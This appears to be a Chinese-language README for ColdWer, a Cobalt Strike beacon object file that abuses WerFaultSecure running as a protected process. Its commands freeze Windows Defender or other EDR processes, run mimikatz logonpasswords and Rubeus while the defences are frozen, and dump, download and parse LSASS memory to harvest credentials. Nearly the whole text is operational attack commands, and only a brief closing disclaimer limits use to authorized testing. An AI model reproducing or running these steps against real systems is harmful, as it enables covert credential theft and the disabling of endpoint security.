C O L D W E R
        └─┴─┴── WerFaultSecure
    └─┴──────── LSASS 转储
└─┴──────────── 冷（冻结）

git clone https://github.com/0xsh3llf1r3/ColdWer.git

# 进入源码目录
cd src/

# 编译 BOF（需要 MinGW）
make

# 或手动编译：
x86_64-w64-mingw32-gcc -c coldwer.c -o ../cw/coldwer.o

# 查找 Windows Defender PID
beacon> ps

# 冻结进程
beacon> cw-freeze 1337

# 在 EDR/AV 冻结时执行命令
beacon> mimikatz sekurlsa::logonpasswords
beacon> execute-assembly /tools/Rubeus.exe triage

# 完成后解冻
beacon> cw-unfreeze

# 步骤 1：上传 Win8.1 WerFaultSecure.exe
beacon> cd C:\Windows\Temp
beacon> upload /path/to/bin/wfs.exe

# 步骤 2：查找 LSASS PID
beacon> ps

# 步骤 3：转储 LSASS
beacon> cw-dump 314 C:\Windows\Temp\wfs.exe

# 步骤 4：下载转储文件
beacon> download C:\Windows\Temp\lsass.dmp

mimikatz# sekurlsa::minidump lsass.dmp
mimikatz# sekurlsa::logonpasswords

# 使用默认路径冻结
beacon> cw-freeze 1337

# 使用自定义 WerFaultSecure.exe
beacon> cw-freeze 1337 C:\Windows\Temp\wfs.exe

# 转储 LSASS
beacon> cw-dump 314 C:\Windows\Temp\wfs.exe

# 完成后解冻
beacon> cw-unfreeze

1. 🚀 以 PPL（WinTcb 级别）启动 WerFaultSecure.exe
                    ↓
2. 🎯 WerFaultSecure 附加到目标进程
                    ↓
3. ⏸️  MiniDumpWriteDump 挂起所有目标线程
                    ↓
4. 🥶 挂起 WerFaultSecure 本身 → 目标保持冻结状态
                    ↓
5. ✅ 执行您的命令（EDR/AV 无法察觉！）
                    ↓
6. 🔥 终止 WerFaultSecure → 目标解冻

⚠️ 仅限授权安全测试

本工具仅供以下用途：
- 授权的渗透测试
- 具有书面授权的红队行动
- 受控环境中的安全研究

作者不对任何滥用或由本工具造成的损害负责。
未经授权访问计算机系统是违法的。